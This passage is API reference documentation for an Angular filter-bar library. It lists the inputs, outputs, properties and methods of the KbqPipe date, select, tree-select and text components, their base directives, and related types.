- `(onChangeFilter)`: `KbqSaveFilterEvent` — Event that is generated whenever the user change a filter.
- `(onRemoveFilter)`: `KbqFilter` — Event that is generated whenever the user remove a filter.
- `(onResetFilterChanges)`: `KbqFilter | null` — Event that is generated whenever the user reset a filter changes.
- `searchControl`: `FormControl<string | null>` — control for search filter
- `filteredOptions`: `Signal<KbqFilter[]>` — Saved filters whose name matches the search query.
- `opened`: `boolean` — Component state. true if opened dropdown or popup
- `filterActionsOpened`: `boolean` — Component state. true if opened dropdown or popup of filterActions
- `filter`: `KbqFilter | null` — Selected filter. Kept as a plain getter facade over the bar's `filter` model.
- `isEmpty`: `boolean` — Component state. True if 'filters' input contains no elements.
- `filterSavedSuccessfully()`: `void` — Hide the popup and restore focus.
  Use this method in the onSave or onChangeFilter events after the data has been successfully saved.
- `filterSavedUnsuccessfully()`: `void` — Shows an error. Use this method in the onSave or onChangeFilter events if saving data failed.

##### KbqPipeAdd (component)

```ts
@Component({ selector: 'kbq-pipe-add' })
class KbqPipeAdd {
    readonly filterTemplate = input<KbqFilter>(
        {
            name: '',
            pipes: [],
            readonly: false,
            disabled: false,
            changed: false,
            saved: false
        }
    );
    readonly onAddPipe = output<KbqPipeTemplate>();
    readonly addedPipes: Signal<(string | number | (string & {}))[]>;
    addPipeFromTemplate(option: KbqOption): void;
    compareWith(o1: KbqPipe, o2: string): boolean;
}
```

- `[filterTemplate]`: `KbqFilter` — template of filter
- `(onAddPipe)`: `KbqPipeTemplate` — Event that is generated after add pipe.
- `addedPipes`: `Signal<(string | number | (string & {}))[]>` — Ids of the pipes already added to the current filter. Used to open an already-added pipe.
  Derived from the `filter` signal so it stays in sync without the retired `changes` bus.
- `compareWith()`: `boolean` — Function to compare the option values with the selected values. The first argument
  is a value from an option. The second is a value from the selection. A boolean
  should be returned.

##### KbqPipeButton (component)

```ts
@Component({ selector: 'kbq-pipe-button' })
class KbqPipeButton {
    readonly readonly = input<boolean>(false);
}
```

- `[readonly]`: `boolean` — enables/disables read-only state

##### KbqPipeDateComponent (component)

```ts
@Component({ selector: 'kbq-pipe-date' })
class KbqPipeDateComponent<D> extends KbqPipeDateBaseComponent<D> {
    get formattedValue(): string;
    get disabled(): boolean;
    get start(): D;
    get defaultStart(): D;
    get end(): D;
    get defaultEnd(): D;
    get isEmpty(): boolean;
    readonly stateChanges: Subject<void>;
    readonly data: KbqPipeData<V>;
    get showRemoveButton(): boolean;
    updateTemplates: (templates: KbqPipeTemplate[] | null) => void;
    onApplyPeriod(): void;
    onSelect(item: KbqDateTimeValue): void;
    showPeriod(): void;
    showList(): void;
    open(): void;
    onSelectStartDate(value: D): void;
    onSelectEndDate(value: D): void;
    onFocusStartInput(): void;
    onFocusEndInput(): void;
    hideCalendars(): void;
    isTemplateRef(value: unknown): boolean;
    onRemove(): void;
    onClear(): void;
}
```

- `formattedValue`: `string` — formatted value for period
- `disabled`: `boolean` — Whether the current pipe is disabled.
- `start`: `D` — parsed start
- `defaultStart`: `D` — default object for start
- `end`: `D` — parsed end
- `defaultEnd`: `D` — default object for end
- `isEmpty`: `boolean` — Whether the current pipe is empty.
- `stateChanges`: `Subject<void>` — changes of state
- `data`: `KbqPipeData<V>` — pipe data. Provided from subclass
- `showRemoveButton`: `boolean` — Whether the current pipe is removable or cleanable. Used for apply style modifier
- `updateTemplates`: `(templates: KbqPipeTemplate[] | null) => void` — updates values for selection and value template
- `open()`: `void` — opens popover
- `isTemplateRef()`: `boolean` — templateRef checker utility
- `onRemove()`: `void` — removes pipe from filter-bar and triggers changes
- `onClear()`: `void` — clears the pipe and triggers changes

##### KbqPipeDatetimeComponent (component)

```ts
@Component({ selector: 'kbq-pipe-datetime' })
class KbqPipeDatetimeComponent<D> extends KbqPipeDateBaseComponent<D> {
    get formattedValue(): string;
    get disabled(): boolean;
    get start(): D;
    get defaultStart(): D;
    get end(): D;
    get defaultEnd(): D;
    get isEmpty(): boolean;
    readonly stateChanges: Subject<void>;
    readonly data: KbqPipeData<V>;
    get showRemoveButton(): boolean;
    updateTemplates: (templates: KbqPipeTemplate[] | null) => void;
    onApplyPeriod(): void;
    onSelect(item: KbqDateTimeValue): void;
    showPeriod(): void;
    showList(): void;
    open(): void;
    onSelectStartDate(value: D): void;
    onSelectEndDate(value: D): void;
    onFocusStartInput(): void;
    onFocusEndInput(): void;
    hideCalendars(): void;
    isTemplateRef(value: unknown): boolean;
    onRemove(): void;
    onClear(): void;
}
```

- `formattedValue`: `string` — formatted value for period
- `disabled`: `boolean` — Whether the current pipe is disabled.
- `start`: `D` — parsed start
- `defaultStart`: `D` — default object for start
- `end`: `D` — parsed end
- `defaultEnd`: `D` — default object for end
- `isEmpty`: `boolean` — Whether the current pipe is empty.
- `stateChanges`: `Subject<void>` — changes of state
- `data`: `KbqPipeData<V>` — pipe data. Provided from subclass
- `showRemoveButton`: `boolean` — Whether the current pipe is removable or cleanable. Used for apply style modifier
- `updateTemplates`: `(templates: KbqPipeTemplate[] | null) => void` — updates values for selection and value template
- `open()`: `void` — opens popover
- `isTemplateRef()`: `boolean` — templateRef checker utility
- `onRemove()`: `void` — removes pipe from filter-bar and triggers changes
- `onClear()`: `void` — clears the pipe and triggers changes

##### KbqPipeInputComponent (component)

```ts
@Component({ selector: 'kbq-pipe-input' })
class KbqPipeInputComponent extends KbqBasePipe<string | null> {
    readonly control: FormControl<string | null>;
    debounceTime: number;
    minLength: number;
    get isEmpty(): boolean;
    readonly stateChanges: Subject<void>;
    readonly data: KbqPipeData<V>;
    get showRemoveButton(): boolean;
    updateTemplates: (templates: KbqPipeTemplate[] | null) => void;
    onClear(): void;
    open(): void;
    isTemplateRef(value: unknown): boolean;
    onRemove(): void;
}
```

- `control`: `FormControl<string | null>` — Input control.

  Must stay nullable: `KbqCleaner` resets the control, and `reset()` resolves to `defaultValue`, which is
  `null` only while `nonNullable` is unset. `{ nonNullable: true }` would make `reset()` yield `''` and silently
  break the cleaner bridge below.
- `debounceTime`: `number` — Debounce in milliseconds between the last keystroke and the typed value being applied to the filter.
  Matches `defaultEmitValueTimeout` of `kbq-search-expandable`, so both search fields of a bar feel the
  same. `Enter` and blur apply immediately and cancel a pending apply.
- `minLength`: `number` — Minimum number of characters before typing applies the value to the filter. Anything shorter —
  including an emptied field — is applied as `null`, so the filter never keeps text the user has
  already erased. `Enter` and blur ignore the threshold. Set to `0` to apply every keystroke.
- `isEmpty`: `boolean` — Whether the current pipe is empty. Used for apply style modifier
- `stateChanges`: `Subject<void>` — changes of state
- `data`: `KbqPipeData<V>` — pipe data. Provided from subclass
- `showRemoveButton`: `boolean` — Whether the current pipe is removable or cleanable. Used for apply style modifier
- `updateTemplates`: `(templates: KbqPipeTemplate[] | null) => void` — updates values for selection and value template
- `onClear()`: `void` — clears the pipe and triggers changes
- `open()`: `void` — focuses the input
- `isTemplateRef()`: `boolean` — templateRef checker utility
- `onRemove()`: `void` — removes pipe from filter-bar and triggers changes

##### KbqPipeMultiSelectComponent (component)

```ts
@Component({ selector: 'kbq-pipe-multi-select' })
class KbqPipeMultiSelectComponent extends KbqBasePipe<KbqSelectValue[]> {
    readonly searchControl: FormControl<string | null>;
    readonly searchTokens: Signal<string[]>;
    readonly filteredOptions: Signal<KbqSelectValue[]>;
    get selected(): KbqSelectValue[] | null;
    get isEmpty(): boolean;
    get checkboxState(): KbqPseudoCheckboxState;
    get allVisibleOptionsSelected(): boolean;
    get allOptionsSelected(): boolean;
    get selectedAllEqualsSelectedNothing(): boolean;
    compareByValue: (o1: Pick<KbqSelectValue, "id"> | null, o2: Pick<KbqSelectValue, "id"> | null) => boolean;
    selectAllHandler: (event: KeyboardEvent) => void;
    readonly stateChanges: Subject<void>;
    readonly data: KbqPipeData<V>;
    get showRemoveButton(): boolean;
    updateTemplates: (templates: KbqPipeTemplate[] | null) => void;
    open(): void;
    isTemplateRef(value: unknown): boolean;
    onRemove(): void;
}
```

- `searchControl`: `FormControl<string | null>` — control for search options
- `searchTokens`: `Signal<string[]>` — Query tokens for option highlighting: tokenized like the filter, so every matched token is marked.
- `filteredOptions`: `Signal<KbqSelectValue[]>` — Options of the pipe template that match the search query. Follows the templates too, so options
  supplied after initialization render on first open.
- `selected`: `KbqSelectValue[] | null` — selected value
- `isEmpty`: `boolean` — Whether the current pipe is empty.
- `checkboxState`: `KbqPseudoCheckboxState` — state for checkbox 'select all'.
- `allVisibleOptionsSelected`: `boolean` — true if all visible options selected
- `allOptionsSelected`: `boolean` — true if all options selected
- `compareByValue`: `(o1: Pick<KbqSelectValue, "id"> | null, o2: Pick<KbqSelectValue, "id"> | null) => boolean` — Comparator of selected options. Two null/absent values never match (aligned with the select pipe).
- `selectAllHandler`: `(event: KeyboardEvent) => void` — handler for select all options in select
- `stateChanges`: `Subject<void>` — changes of state
- `data`: `KbqPipeData<V>` — pipe data. Provided from subclass
- `showRemoveButton`: `boolean` — Whether the current pipe is removable or cleanable. Used for apply style modifier
- `updateTemplates`: `(templates: KbqPipeTemplate[] | null) => void` — updates values for selection and value template
- `open()`: `void` — opens select
- `isTemplateRef()`: `boolean` — templateRef checker utility
- `onRemove()`: `void` — removes pipe from filter-bar and triggers changes

##### KbqPipeMultiTreeSelectComponent (component)

```ts
@Component({ selector: 'kbq-pipe-multi-tree-select' })
class KbqPipeMultiTreeSelectComponent extends KbqTreeSelectPipeBase<KbqSelectValue[]> {
    get selected(): KbqSelectValue[] | null;
    get isEmpty(): boolean;
    get selectAllCheckboxState(): KbqPseudoCheckboxState;
    get numberOfSelectedLeaves(): number;
    get allOptionsSelected(): boolean;
    get selectedAllEqualsSelectedNothing(): boolean;
    get allVisibleOptionsSelected(): boolean;
    updateTemplates: (templates: KbqPipeTemplate[] | null) => void;
    selectAllHandler: (event: KeyboardEvent) => void;
    readonly searchControl: FormControl<string | null>;
    treeControl: FlatTreeControl<KbqTreeSelectFlatNode>;
    treeFlattener: KbqTreeFlattener<KbqTreeSelectNode, KbqTreeSelectFlatNode>;
    dataSource: KbqTreeFlatDataSource<KbqTreeSelectNode, KbqTreeSelectFlatNode>;
    readonly stateChanges: Subject<void>;
    readonly data: KbqPipeData<V>;
    get showRemoveButton(): boolean;
    isNodeSelectAll(
        _: number,
        nodeData: KbqTreeSelectFlatNode
    ): boolean;
    onSelect({ value: option }: { value: any; }): void;
    searchKeydownHandler(): void;
    toggleSelectAllNode(emitEvent?: boolean): void;
    onClear(): void;
    hasChild(_: number, nodeData: KbqTreeSelectFlatNode): boolean;
    open(): void;
    isTemplateRef(value: unknown): boolean;
    onRemove(): void;
}
```

- `selected`: `KbqSelectValue[] | null` — selected value
- `isEmpty`: `boolean` — Whether the current pipe is empty.
- `allOptionsSelected`: `boolean` — true if all options selected
- `allVisibleOptionsSelected`: `boolean` — true if all visible options selected
- `updateTemplates`: `(templates: KbqPipeTemplate[] | null) => void` — Populates the tree data source from the pipe template. The shared `values`/`valueTemplate`
  assignment is already performed by the base subscription, so this override only does the
  tree-specific work and avoids a redundant double assignment.
- `selectAllHandler`: `(event: KeyboardEvent) => void` — handler for select all options in select
- `searchControl`: `FormControl<string | null>` — control for search options
- `stateChanges`: `Subject<void>` — changes of state
- `data`: `KbqPipeData<V>` — pipe data. Provided from subclass
- `showRemoveButton`: `boolean` — Whether the current pipe is removable or cleanable. Used for apply style modifier
- `hasChild()`: `boolean` — tree-node predicate: whether the node has children
- `open()`: `void` — opens the tree-select panel
- `isTemplateRef()`: `boolean` — templateRef checker utility
- `onRemove()`: `void` — removes pipe from filter-bar and triggers changes

##### KbqPipeReadonlyComponent (component)

```ts
@Component({ selector: 'kbq-pipe-readonly' })
class KbqPipeReadonlyComponent extends KbqBasePipe<string | null> {
    readonly stateChanges: Subject<void>;
    readonly data: KbqPipeData<V>;
    get isEmpty(): boolean;
    get showRemoveButton(): boolean;
    updateTemplates: (templates: KbqPipeTemplate[] | null) => void;
    open(): void;
    isTemplateRef(value: unknown): boolean;
    onRemove(): void;
    onClear(): void;
}
```

- `stateChanges`: `Subject<void>` — changes of state
- `data`: `KbqPipeData<V>` — pipe data. Provided from subclass
- `isEmpty`: `boolean` — Whether the current pipe is empty. Used for apply style modifier
- `showRemoveButton`: `boolean` — Whether the current pipe is removable or cleanable. Used for apply style modifier
- `updateTemplates`: `(templates: KbqPipeTemplate[] | null) => void` — updates values for selection and value template
- `isTemplateRef()`: `boolean` — templateRef checker utility
- `onRemove()`: `void` — removes pipe from filter-bar and triggers changes
- `onClear()`: `void` — clears the pipe and triggers changes

##### KbqPipeSelectComponent (component)

```ts
@Component({ selector: 'kbq-pipe-select' })
class KbqPipeSelectComponent extends KbqBasePipe<KbqSelectValue> {
    readonly searchControl: FormControl<string | null>;
    readonly searchTokens: Signal<string[]>;
    readonly filteredOptions: Signal<KbqSelectValue[]>;
    get selected(): KbqSelectValue | null;
    get isEmpty(): boolean;
    compareByValue: (o1: Pick<KbqSelectValue, "id"> | null, o2: Pick<KbqSelectValue, "id"> | null) => boolean;
    readonly stateChanges: Subject<void>;
    readonly data: KbqPipeData<V>;
    get showRemoveButton(): boolean;
    updateTemplates: (templates: KbqPipeTemplate[] | null) => void;
    onSelect(item: KbqSelectValue): void;
    open(): void;
    isTemplateRef(value: unknown): boolean;
    onRemove(): void;
    onClear(): void;
}
```

- `searchControl`: `FormControl<string | null>` — control for search options
- `searchTokens`: `Signal<string[]>` — Query tokens for option highlighting: tokenized like the filter, so every matched token is marked.
- `filteredOptions`: `Signal<KbqSelectValue[]>` — Options of the pipe template that match the search query. Follows the templates too, so options
  supplied after initialization render on first open.
- `selected`: `KbqSelectValue | null` — selected value
- `isEmpty`: `boolean` — Whether the current pipe is empty.
- `compareByValue`: `(o1: Pick<KbqSelectValue, "id"> | null, o2: Pick<KbqSelectValue, "id"> | null) => boolean` — Comparator of selected options
- `stateChanges`: `Subject<void>` — changes of state
- `data`: `KbqPipeData<V>` — pipe data. Provided from subclass
- `showRemoveButton`: `boolean` — Whether the current pipe is removable or cleanable. Used for apply style modifier
- `updateTemplates`: `(templates: KbqPipeTemplate[] | null) => void` — updates values for selection and value template
- `open()`: `void` — opens select
- `isTemplateRef()`: `boolean` — templateRef checker utility
- `onRemove()`: `void` — removes pipe from filter-bar and triggers changes
- `onClear()`: `void` — clears the pipe and triggers changes

##### KbqPipeTextComponent (component)

```ts
@Component({ selector: 'kbq-pipe-text' })
class KbqPipeTextComponent extends KbqBasePipe<string | null> {
    readonly placements: typeof PopUpPlacements;
    get disabled(): boolean;
    control: FormControl<typeof this.data.value>;
    readonly stateChanges: Subject<void>;
    readonly data: KbqPipeData<V>;
    get isEmpty(): boolean;
    get showRemoveButton(): boolean;
    updateTemplates: (templates: KbqPipeTemplate[] | null) => void;
    onApply(): void;
    onClear(): void;
    open(): void;
    isTemplateRef(value: unknown): boolean;
    onRemove(): void;
}
```

- `disabled`: `boolean` — Whether the current pipe is disabled.
- `control`: `FormControl<typeof this.data.value>` — textarea control
- `stateChanges`: `Subject<void>` — changes of state
- `data`: `KbqPipeData<V>` — pipe data. Provided from subclass
- `isEmpty`: `boolean` — Whether the current pipe is empty. Used for apply style modifier
- `showRemoveButton`: `boolean` — Whether the current pipe is removable or cleanable. Used for apply style modifier
- `updateTemplates`: `(templates: KbqPipeTemplate[] | null) => void` — updates values for selection and value template
- `onClear()`: `void` — clears the pipe and triggers changes
- `open()`: `void` — opens popover
- `isTemplateRef()`: `boolean` — templateRef checker utility
- `onRemove()`: `void` — removes pipe from filter-bar and triggers changes

##### KbqPipeTreeSelectComponent (component)

```ts
@Component({ selector: 'kbq-pipe-tree-select' })
class KbqPipeTreeSelectComponent extends KbqTreeSelectPipeBase<KbqSelectValue> {
    get selected(): KbqSelectValue | null;
    get isEmpty(): boolean;
    updateTemplates: (templates: KbqPipeTemplate[] | null) => void;
    readonly searchControl: FormControl<string | null>;
    treeControl: FlatTreeControl<KbqTreeSelectFlatNode>;
    treeFlattener: KbqTreeFlattener<KbqTreeSelectNode, KbqTreeSelectFlatNode>;
    dataSource: KbqTreeFlatDataSource<KbqTreeSelectNode, KbqTreeSelectFlatNode>;
    readonly stateChanges: Subject<void>;
    readonly data: KbqPipeData<V>;
    get showRemoveButton(): boolean;
    onSelect(item: KbqTreeOption): void;
    hasChild(_: number, nodeData: KbqTreeSelectFlatNode): boolean;
    open(): void;
    isTemplateRef(value: unknown): boolean;
    onRemove(): void;
    onClear(): void;
}
```

- `selected`: `KbqSelectValue | null` — selected value
- `isEmpty`: `boolean` — Whether the current pipe is empty.
- `updateTemplates`: `(templates: KbqPipeTemplate[] | null) => void` — Populates the tree data source from the pipe template. The shared `values`/`valueTemplate`
  assignment is already performed by the base subscription, so this override only does the
  tree-specific work and avoids a redundant double assignment.
- `searchControl`: `FormControl<string | null>` — control for search options
- `stateChanges`: `Subject<void>` — changes of state
- `data`: `KbqPipeData<V>` — pipe data. Provided from subclass
- `showRemoveButton`: `boolean` — Whether the current pipe is removable or cleanable. Used for apply style modifier
- `hasChild()`: `boolean` — tree-node predicate: whether the node has children
- `open()`: `void` — opens the tree-select panel
- `isTemplateRef()`: `boolean` — templateRef checker utility
- `onRemove()`: `void` — removes pipe from filter-bar and triggers changes
- `onClear()`: `void` — clears the pipe and triggers changes

#### Directives

##### KbqBasePipe (directive)

```ts
@Directive()
abstract class KbqBasePipe<V> {
    readonly stateChanges: Subject<void>;
    readonly data: KbqPipeData<V>;
    protected values: any;
    protected valueTemplate?: TemplateRef<any> | string;
    protected optionCompareWith?: ( o1: KbqSelectValue | null | undefined, o2: KbqSelectValue | null | undefined ) => boolean;
    protected lockedValues?: unknown[];
    protected panelMaxHeight?: KbqPanelMaxHeight;
    protected multilineOptions?: boolean;
    protected noOptionsText?: string;
    get isEmpty(): boolean;
    get showRemoveButton(): boolean;
    protected get noOptions(): boolean;
    protected get noOptionsMessage(): string;
    updateTemplates: (templates: KbqPipeTemplate[] | null) => void;
    isTemplateRef(value: unknown): boolean;
    onRemove(): void;
    onClear(): void;
}
```

- `stateChanges`: `Subject<void>` — changes of state
- `data`: `KbqPipeData<V>` — pipe data. Provided from subclass
- `values`: `any` — values to select from the pipe template
- `valueTemplate?`: `TemplateRef<any> | string` — TemplateRef for selecting an option
- `optionCompareWith?`: `( o1: KbqSelectValue | null | undefined, o2: KbqSelectValue | null | undefined ) => boolean` — Optional equality comparator forwarded from the pipe template to the underlying `kbq-select`.
  Only consumed by the select / multi-select pipe components; when unset they fall back to their
  own id-based `compareByValue`.
- `lockedValues?`: `unknown[]` — Values forwarded from the pipe template whose selection the user cannot remove. Only consumed by
  the multi-select pipe components; other pipe types ignore it.
- `panelMaxHeight?`: `KbqPanelMaxHeight` — Maximum height of the dropdown panel's scrollable list, forwarded from the pipe template to the
  underlying `kbq-select` / `kbq-tree-select`. Only consumed by the select-family pipe components;
  `undefined` leaves the list at the select-family default of 256px.
- `multilineOptions?`: `boolean` — Whether the dropdown's option names and captions wrap instead of being truncated, forwarded from
  the pipe template. Only consumed by the select-family pipe components.
- `noOptionsText?`: `string` — Message shown in place of the options when the pipe template has none, forwarded from the pipe
  template. Only consumed by the select-family pipe components; `undefined` falls back to the localized
  `pipe.noOptions` string.
- `isEmpty`: `boolean` — Whether the current pipe is empty. Used for apply style modifier
- `showRemoveButton`: `boolean` — Whether the current pipe is removable or cleanable. Used for apply style modifier
- `noOptions`: `boolean` — Whether the pipe template provides no values to choose from. The select-family pipe components then
  show `noOptionsMessage` instead of the list; the date pipes open straight on the custom period.
- `noOptionsMessage`: `string` — Message the select-family pipe components show when there are no options.
- `updateTemplates`: `(templates: KbqPipeTemplate[] | null) => void` — updates values for selection and value template
- `isTemplateRef()`: `boolean` — templateRef checker utility
- `onRemove()`: `void` — removes pipe from filter-bar and triggers changes
- `onClear()`: `void` — clears the pipe and triggers changes

##### KbqFilterBarButton (directive)

```ts
@Directive({ selector: '[kbqFilterBarButton]' })
class KbqFilterBarButton {}
```

##### KbqPipeDateBaseComponent (directive)

Shared implementation for the `date` and `datetime` pipes. The two pipes differ only in how a range
is formatted and in their default start/end values, exposed here as the `formatRange`,
`getDefaultStart` and `getDefaultEnd` hooks. Everything else — the period list / custom
period flow, calendar handling and form group — is common.

```ts
@Directive()
abstract class KbqPipeDateBaseComponent<D> extends KbqBasePipe<KbqDateTimeValue> {
    protected readonly adapter: DateAdapter<any>;
    protected readonly formatter: DateFormatter<any>;
    protected readonly isListMode: WritableSignal<boolean>;
    get formattedValue(): string;
    get disabled(): boolean;
    get start(): D;
    get defaultStart(): D;
    get end(): D;
    get defaultEnd(): D;
    get isEmpty(): boolean;
    readonly stateChanges: Subject<void>;
    readonly data: KbqPipeData<V>;
    protected values: any;
    protected valueTemplate?: TemplateRef<any> | string;
    protected optionCompareWith?: ( o1: KbqSelectValue | null | undefined, o2: KbqSelectValue | null | undefined ) => boolean;
    protected lockedValues?: unknown[];
    protected panelMaxHeight?: KbqPanelMaxHeight;
    protected multilineOptions?: boolean;
    protected noOptionsText?: string;
    get showRemoveButton(): boolean;
    protected get noOptions(): boolean;
    protected get noOptionsMessage(): string;
    updateTemplates: (templates: KbqPipeTemplate[] | null) => void;
    onApplyPeriod(): void;
    onSelect(item: KbqDateTimeValue): void;
    showPeriod(): void;
    showList(): void;
    open(): void;
    onSelectStartDate(value: D): void;
    onSelectEndDate(value: D): void;
    onFocusStartInput(): void;
    onFocusEndInput(): void;
    hideCalendars(): void;
    protected abstract usesTime(): boolean;
    protected abstract formatRange(start: D, end: D): string;
    protected abstract getDefaultStart(): D;
    protected abstract getDefaultEnd(): D;
    isTemplateRef(value: unknown): boolean;
    onRemove(): void;
    onClear(): void;
}
```

- `isListMode`: `WritableSignal<boolean>` — Whether the current state is list of periods. When false will displayed control for set custom period
- `formattedValue`: `string` — formatted value for period
- `disabled`: `boolean` — Whether the current pipe is disabled.
- `start`: `D` — parsed start
- `defaultStart`: `D` — default object for start
- `end`: `D` — parsed end
- `defaultEnd`: `D` — default object for end
- `isEmpty`: `boolean` — Whether the current pipe is empty.
- `stateChanges`: `Subject<void>` — changes of state
- `data`: `KbqPipeData<V>` — pipe data. Provided from subclass
- `values`: `any` — values to select from the pipe template
- `valueTemplate?`: `TemplateRef<any> | string` — TemplateRef for selecting an option
- `optionCompareWith?`: `( o1: KbqSelectValue | null | undefined, o2: KbqSelectValue | null | undefined ) => boolean` — Optional equality comparator forwarded from the pipe template to the underlying `kbq-select`.
  Only consumed by the select / multi-select pipe components; when unset they fall back to their
  own id-based `compareByValue`.
- `lockedValues?`: `unknown[]` — Values forwarded from the pipe template whose selection the user cannot remove. Only consumed by
  the multi-select pipe components; other pipe types ignore it.
- `panelMaxHeight?`: `KbqPanelMaxHeight` — Maximum height of the dropdown panel's scrollable list, forwarded from the pipe template to the
  underlying `kbq-select` / `kbq-tree-select`. Only consumed by the select-family pipe components;
  `undefined` leaves the list at the select-family default of 256px.
- `multilineOptions?`: `boolean` — Whether the dropdown's option names and captions wrap instead of being truncated, forwarded from
  the pipe template. Only consumed by the select-family pipe components.
- `noOptionsText?`: `string` — Message shown in place of the options when the pipe template has none, forwarded from the pipe
  template. Only consumed by the select-family pipe components; `undefined` falls back to the localized
  `pipe.noOptions` string.
- `showRemoveButton`: `boolean` — Whether the current pipe is removable or cleanable. Used for apply style modifier
- `noOptions`: `boolean` — Whether the pipe template provides no values to choose from. The select-family pipe components then
  show `noOptionsMessage` instead of the list; the date pipes open straight on the custom period.
- `noOptionsMessage`: `string` — Message the select-family pipe components show when there are no options.
- `updateTemplates`: `(templates: KbqPipeTemplate[] | null) => void` — updates values for selection and value template
- `open()`: `void` — opens popover
- `usesTime()`: `boolean` — Whether this pipe edits the time part (`datetime`) or only the date (`date`). Gates whether the
  `minDateTime` / `maxDateTime` bounds keep their time or are pinned to day edges.
- `formatRange()`: `string` — Formats the selected range for display.
- `getDefaultStart()`: `D` — Default start value used when the pipe has no stored `start`.
- `getDefaultEnd()`: `D` — Default end value used when the pipe has no stored `start`.
- `isTemplateRef()`: `boolean` — templateRef checker utility
- `onRemove()`: `void` — removes pipe from filter-bar and triggers changes
- `onClear()`: `void` — clears the pipe and triggers changes

##### KbqPipeDirective (directive)

```ts
@Directive({ selector: '[kbqPipe]' })
class KbqPipeDirective<T extends KbqPipe> {
    readonly pipe = input<T>(undefined, { alias: 'kbqPipe' });
}
```

##### KbqPipeState (directive)

```ts
@Directive({ selector: '[kbqPipeState]' })
class KbqPipeState<T> {
    readonly state = input<T | null>(null, { alias: 'kbqPipeState' });
}
```

- `[kbqPipeState]`: `T | null` — Pipe state the styled button belongs to.

  Carries the binding this directive's selector matches. Every binding passes the pipe's own `data`,
  which is mutated in place, so this value is a constant for the life of the pipe and the style is
  derived from `pipe.isEmpty` instead.

##### KbqTreeSelectPipeBase (directive)

Shared scaffolding for the tree-based select pipes (`kbq-pipe-tree-select`,
`kbq-pipe-multi-tree-select`): the flat-tree control / flattener / data source, the node accessors,
search-driven filtering and open handling. Subclasses provide the value-specific pieces (`selected`,
`isEmpty`, `onSelect`, `updateTemplates`).

The `internalTemplatesChanges` subscription is intentionally left in each subclass constructor: it must
be set up after the subclass's `updateTemplates` field initializer runs, so the initial `BehaviorSubject`
replay dispatches to the subclass override (which writes `dataSource.data`) rather than the base one.

```ts
@Directive()
abstract class KbqTreeSelectPipeBase<V> extends KbqBasePipe<V> {
    readonly searchControl: FormControl<string | null>;
    treeControl: FlatTreeControl<KbqTreeSelectFlatNode>;
    treeFlattener: KbqTreeFlattener<KbqTreeSelectNode, KbqTreeSelectFlatNode>;
    dataSource: KbqTreeFlatDataSource<KbqTreeSelectNode, KbqTreeSelectFlatNode>;
    protected transformer: (node: KbqTreeSelectNode, level: number, parent: KbqTreeSelectFlatNode | null) => KbqTreeSelectFlatNode;
    protected getLevel: (node: KbqTreeSelectFlatNode) => number;
    protected isExpandable: (node: KbqTreeSelectFlatNode) => boolean;
    protected getChildren: (node: KbqTreeSelectNode) => KbqTreeSelectNode[] | null;
    protected getValue: (node: KbqTreeSelectFlatNode) => unknown;
    protected getViewValue: (node: KbqTreeSelectFlatNode) => string;
    readonly stateChanges: Subject<void>;
    readonly data: KbqPipeData<V>;
    protected values: any;
    protected valueTemplate?: TemplateRef<any> | string;
    protected optionCompareWith?: ( o1: KbqSelectValue | null | undefined, o2: KbqSelectValue | null | undefined ) => boolean;
    protected lockedValues?: unknown[];
    protected panelMaxHeight?: KbqPanelMaxHeight;
    protected multilineOptions?: boolean;
    protected noOptionsText?: string;
    get isEmpty(): boolean;
    get showRemoveButton(): boolean;
    protected get noOptions(): boolean;
    protected get noOptionsMessage(): string;
    updateTemplates: (templates: KbqPipeTemplate[] | null) => void;
    hasChild(_: number, nodeData: KbqTreeSelectFlatNode): boolean;
    open(): void;
    isTemplateRef(value: unknown): boolean;
    onRemove(): void;
    onClear(): void;
}
```

- `searchControl`: `FormControl<string | null>` — control for search options
- `stateChanges`: `Subject<void>` — changes of state
- `data`: `KbqPipeData<V>` — pipe data. Provided from subclass
- `values`: `any` — values to select from the pipe template
- `valueTemplate?`: `TemplateRef<any> | string` — TemplateRef for selecting an option
- `optionCompareWith?`: `( o1: KbqSelectValue | null | undefined, o2: KbqSelectValue | null | undefined ) => boolean` — Optional equality comparator forwarded from the pipe template to the underlying `kbq-select`.
  Only consumed by the select / multi-select pipe components; when unset they fall back to their
  own id-based `compareByValue`.
- `lockedValues?`: `unknown[]` — Values forwarded from the pipe template whose selection the user cannot remove. Only consumed by
  the multi-select pipe components; other pipe types ignore it.
- `panelMaxHeight?`: `KbqPanelMaxHeight` — Maximum height of the dropdown panel's scrollable list, forwarded from the pipe template to the
  underlying `kbq-select` / `kbq-tree-select`. Only consumed by the select-family pipe components;
  `undefined` leaves the list at the select-family default of 256px.
- `multilineOptions?`: `boolean` — Whether the dropdown's option names and captions wrap instead of being truncated, forwarded from
  the pipe template. Only consumed by the select-family pipe components.
- `noOptionsText?`: `string` — Message shown in place of the options when the pipe template has none, forwarded from the pipe
  template. Only consumed by the select-family pipe components; `undefined` falls back to the localized
  `pipe.noOptions` string.
- `isEmpty`: `boolean` — Whether the current pipe is empty. Used for apply style modifier
- `showRemoveButton`: `boolean` — Whether the current pipe is removable or cleanable. Used for apply style modifier
- `noOptions`: `boolean` — Whether the pipe template provides no values to choose from. The select-family pipe components then
  show `noOptionsMessage` instead of the list; the date pipes open straight on the custom period.
- `noOptionsMessage`: `string` — Message the select-family pipe components show when there are no options.
- `updateTemplates`: `(templates: KbqPipeTemplate[] | null) => void` — updates values for selection and value template
- `hasChild()`: `boolean` — tree-node predicate: whether the node has children
- `open()`: `void` — opens the tree-select panel
- `isTemplateRef()`: `boolean` — templateRef checker utility
- `onRemove()`: `void` — removes pipe from filter-bar and triggers changes
- `onClear()`: `void` — clears the pipe and triggers changes

#### Classes

##### KbqTreeSelectFlatNode (class)

Flattened node

```ts
class KbqTreeSelectFlatNode {
    name: string;
    value: unknown;
    level: number;
    expandable: boolean;
    parent?: KbqTreeSelectFlatNode;
    caption?: string;
}
```

- `caption?`: `string` — Second line under `name` in the dropdown of the tree-select pipes.

#### Functions

##### getId (function)

function to get unique identifier of an element

```ts
function getId(item: KbqPipeTemplate): KbqPipeType | string | number;
```

##### kbqBuildTree (function)

Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
The return value is the list of extends `KbqTreeSelectNode`.

```ts
function kbqBuildTree<T extends KbqTreeSelectNode>(
    value: Record<string, unknown>,
    level: number
): T[];
```

#### Types

##### KbqDateTimeValue (interface)

```ts
interface KbqDateTimeValue {
    name?: string;
    start?: string;
    end?: string;
}
```

##### KbqFilter (interface)

```ts
interface KbqFilter {
    name: string;
    pipes: KbqPipe[];
    readonly: boolean;
    disabled: boolean;
    changed: boolean;
